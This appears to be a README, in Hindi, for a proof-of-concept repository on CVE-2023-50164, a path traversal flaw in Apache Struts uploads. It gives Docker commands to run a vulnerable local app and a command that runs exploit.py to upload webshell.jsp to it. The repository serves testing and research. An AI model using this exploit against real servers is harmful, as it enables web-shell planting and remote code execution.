
CVE-2023-50164 PoC अनुप्रयोग और एक्सप्लॉइट स्क्रिप्ट
यह रिपॉज़िटरी CVE-2023-50164 कमज़ोरी का एक प्रूफ़ ऑफ़ कॉन्सेप्ट (PoC) है।
CVE-2023-50164 एक फ़ाइल पाथ ट्रैवर्सल कमज़ोरी है जो Apache Struts वेब एप्लिकेशन में होती है।
एक हमलावर इस कमज़ोरी का फ़ायदा उठाकर दुर्भावनापूर्ण फ़ाइल (WebShell या अन्य मैलवेयर) को किसी भी स्थान पर अपलोड कर सकता है और रिमोट कोड एक्ज़ीक्यूशन जैसे द्वितीयक हमले कर सकता है।
कमज़ोर वेब एप्लिकेशन, StrutsUploadApp, को Docker का उपयोग करके कंटेनरीकृत किया गया है। वातावरण को बनाने और तैनात करने के लिए इन चरणों का पालन करें।
StrutsUploadApp के लिए Docker इमेज बनाने हेतु दिए गए Dockerfile का उपयोग करें।
docker build -t struts-upload-app .
docker run -d -p 8080:8080 --name StrutsUploadApp struts-upload-app
कमज़ोरी को ट्रिगर करने के लिए एक्सप्लॉइट स्क्रिप्ट चलाएँ।
python exploit.py --url=http://localhost:8080/StrutsUploadApp/upload.action \
--file=webshell.jsp \
--file-parameter=upload \
--attempts=5